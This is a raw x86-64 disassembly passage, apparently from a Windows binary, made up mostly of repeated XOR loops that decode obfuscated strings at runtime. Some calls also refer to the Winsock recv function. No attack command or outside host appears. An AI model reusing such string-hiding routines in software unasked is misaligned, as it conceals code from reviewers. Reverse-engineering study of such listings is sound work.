psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1402c1133
mov r9, r10
mov dword [rsp + 0x64], edi
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402c1100
mov qword [rsp + 0x38], r12
lea r8, [0x1405932d8]
mov qword [rsp + 0x30], r12
mov r9d, reloc.WS2_32.dll_recv
mov dword [rsp + 0x28], r12d
mov rdx, rbx
mov rcx, r10
mov qword [rsp + 0x20], rsi
call fcn.14003ccc0
movaps xmm1, xmm12
movaps xmm0, xmm8
call fcn.140015620
lea rcx, [0x1405935d8]
call fcn.140003f50
movaps xmm2, xmm9
lea rcx, [rbp + 0x5bc]
movaps xmm1, xmm9
mov ebx, eax
call fcn.140001450
mov rcx, qword [0x140593130]
mov r8d, ebx
movss xmm0, dword [rax + 4]
movss xmm1, dword [rax]
unpcklps xmm1, xmm0
movq rdx, xmm1
call fcn.140036890
movss xmm1, dword [0x1403f44a0]
lea rcx, [rbp + 0x5c4]
movaps xmm2, xmm9
call fcn.140001450
lea rdx, [rbp + 0x10]
mov byte [rbp - 0x22], r12b
lea rcx, [rbp - 0x22]
mov rsi, rax
call fcn.1402c5e00
mov rbx, rax
cmp byte [rax + 0x18], r12b
je 0x1402c1374
mov r8d, r12d
cmp r14d, 2
jl 0x1402c132e
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1402c1220
cmp r8d, 0x19
jge 0x1402c1374
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x1402c1340
lea rdx, [rbp + 0x5cc]
mov byte [rbp - 0x21], r12b
lea rcx, [rbp - 0x21]
call fcn.1402c5d00
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402c14e3
cmp r14d, 2
jl 0x1402c14a1
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1402c14e3
mov r9, r10
mov dword [rsp + 0x64], edi
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402c14b0
mov qword [rsp + 0x38], r12
lea r8, [0x140593320]
mov qword [rsp + 0x30], r12
mov r9d, reloc.WS2_32.dll_recv
mov dword [rsp + 0x28], r12d
mov rdx, rbx
mov rcx, r10
mov qword [rsp + 0x20], rsi
call fcn.14003ccc0
movaps xmm1, xmm12
movaps xmm0, xmm8
call fcn.140015620
lea rcx, [0x1405935d8]
call fcn.140003f50
movaps xmm2, xmm9
lea rcx, [rbp + 0x5d4]
movaps xmm1, xmm9
mov ebx, eax
call fcn.140001450
mov rcx, qword [0x140593198]
mov r8d, ebx
movss xmm0, dword [rax + 4]
movss xmm1, dword [rax]
unpcklps xmm1, xmm0
movq rdx, xmm1
call fcn.140036890
movss xmm1, dword [0x1403f44a0]
lea rcx, [rbp + 0x5dc]
movaps xmm2, xmm9
call fcn.140001450
lea rdx, [rbp + 0x10]
mov byte [rbp - 0x20], r12b
lea rcx, [rbp - 0x20]
mov rsi, rax
call fcn.1402c5d10
mov rbx, rax
cmp byte [rax + 0x18], r12b
je 0x1402c1724
mov r8d, r12d
cmp r14d, 2
jl 0x1402c16de
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1402c15d0
cmp r8d, 0x19
jge 0x1402c1724
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x1402c16f0
lea rdx, [rbp + 0x5e4]
mov byte [rbp - 0x1f], r12b
lea rcx, [rbp - 0x1f]
call fcn.1402c5e30
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402c1893
cmp r14d, 2
jl 0x1402c1851
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1402c1893
mov r9, r10
mov dword [rsp + 0x64], edi
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402c1860
mov qword [rsp + 0x38], r12
lea r8, [0x1405932f8]
mov qword [rsp + 0x30], r12
mov r9d, reloc.WS2_32.dll_recv
mov dword [rsp + 0x28], r12d
mov rdx, rbx
mov rcx, r10
mov qword [rsp + 0x20], rsi
call fcn.14003ccc0
movaps xmm1, xmm12
movaps xmm0, xmm8
call fcn.140015620
lea rcx, [0x1405935d8]
call fcn.140003f50
movaps xmm2, xmm9
lea rcx, [rbp + 0x5ec]
movaps xmm1, xmm9
mov ebx, eax
call fcn.140001450
mov rcx, qword [0x1405931a8]
mov r8d, ebx
movss xmm0, dword [rax + 4]
movss xmm1, dword [rax]
unpcklps xmm1, xmm0
movq rdx, xmm1
call fcn.140036890
movss xmm1, dword [0x1403f44a0]
lea rcx, [rbp + 0x5f4]
movaps xmm2, xmm9
call fcn.140001450
lea rdx, [rbp + 0x9a7]
mov byte [rbp - 0x1e], r12b
lea rcx, [rbp - 0x1e]
mov rsi, rax
call fcn.1402c5e50
mov rbx, rax
cmp byte [rax + 0xb], r12b
je 0x1402c1a94
mov r8d, r12d
cmp r14d, 2
jl 0x1402c1a56
movdqa xmm2, xmmword [0x1403f45a0]
mov r8d, r13d
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1402c1a60
lea rdx, [rbp + 0x5fc]
mov byte [rbp - 0x1d], r12b
lea rcx, [rbp - 0x1d]
call fcn.1402c5e40
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402c1c03
cmp r14d, 2
jl 0x1402c1bc1
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1402c1c03
mov r9, r10
mov dword [rsp + 0x64], edi
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402c1bd0
mov qword [rsp + 0x38], r12
lea r8, [0x140593308]
mov qword [rsp + 0x30], r12
mov r9d, reloc.WS2_32.dll_recv
mov dword [rsp + 0x28], r12d
mov rdx, rbx
mov rcx, r10
mov qword [rsp + 0x20], rsi
call fcn.14003ccc0
movaps xmm1, xmm12
movaps xmm0, xmm8
call fcn.140015620
lea rcx, [0x1405935d8]
call fcn.140003f50
movaps xmm2, xmm9
lea rcx, [rbp + 0x604]
movaps xmm1, xmm9
mov ebx, eax
call fcn.140001450
mov rcx, qword [0x1405931a8]
mov r8d, ebx
movss xmm0, dword [rax + 4]
movss xmm1, dword [rax]
unpcklps xmm1, xmm0
movq rdx, xmm1
call fcn.140036890
lea rdx, [rbp + 0x10]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c5e70
mov rbx, rax
cmp byte [rax + 0x1e], r12b
je 0x1402c1e34
mov r8d, r12d
cmp r14d, 2
jl 0x1402c1dee
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1402c1ce0
cmp r8d, 0x1f
jge 0x1402c1e34
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x1f
jl 0x1402c1e00
lea rcx, [0x1405935d8]
call fcn.140003f50
mov edx, eax
lea rcx, [rbp + 0x9f0]
call fcn.140043f60
lea rdx, [rbp + 0x7c8]
mov rcx, rax
call fcn.1400366c0
mov rdx, rbx
lea rcx, [rbp + 0x7c8]
call fcn.1400373c0
call fcn.1400156d0
subss xmm0, dword [0x1403f43e8]
call fcn.140015760
movss xmm1, dword [0x1403f44a4]
lea rcx, [rbp + 0x60c]
movaps xmm2, xmm9
call fcn.140001450
lea rdx, [rbp + 0x98a]
mov byte [rbp - 0x1c], r12b
lea rcx, [rbp - 0x1c]
mov rbx, rax
call fcn.1402c5eb0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1402c1eda
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor byte [rax + 6], 0x3f
xor byte [rax + 7], 0x40
xor cl, 0x41
mov byte [rax + 8], cl
mov rdx, rbx
mov rcx, rax
call fcn.1400383d0
test al, al
je 0x1402c22ea
lea rdx, [0x140593320]
lea rcx, [rbp + 0x340]
call fcn.1402c7cc0
lea rdx, [0x140593308]
mov rsi, rax
lea rcx, [rbp + 0x10]
call fcn.1402c7cc0
lea rdx, [0x1405932f8]
mov rdi, rax
lea rcx, [rbp - 0x60]
call fcn.1402c7cc0
lea rdx, [0x1405932d8]
mov rbx, rax
lea rcx, [rbp + 0x440]
call fcn.1402c7cc0
mov r9, rdi
mov qword [rsp + 0x20], rsi
mov r8, rbx
lea rcx, [rbp + 0xe00]
mov rdx, rax
call fcn.1403622c0
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], r12b
cmp byte [rbp + 0x1010], r12b
jne 0x1402c211e
lea rdx, [rbp + 0x440]
call fcn.1402c5ed0
mov r10, rax
cmp byte [rax + 0x34], r12b
je 0x1402c2114
mov r8d, r12d
cmp r14d, 2
jl 0x1402c20ce
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x30
jl 0x1402c1fc0
cmp r8d, 0x35
jge 0x1402c2114
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x35
jl 0x1402c20e0
mov edx, 3
jmp 0x1402c22c9
lea rdx, [rbp + 0x10]
call fcn.1402c5f10
mov r10, rax
cmp byte [rax + 0x18], r12b
je 0x1402c22c4
mov r8d, r12d
cmp r14d, 2
jl 0x1402c227e
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1402c2170
cmp r8d, 0x19
jge 0x1402c22c4
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
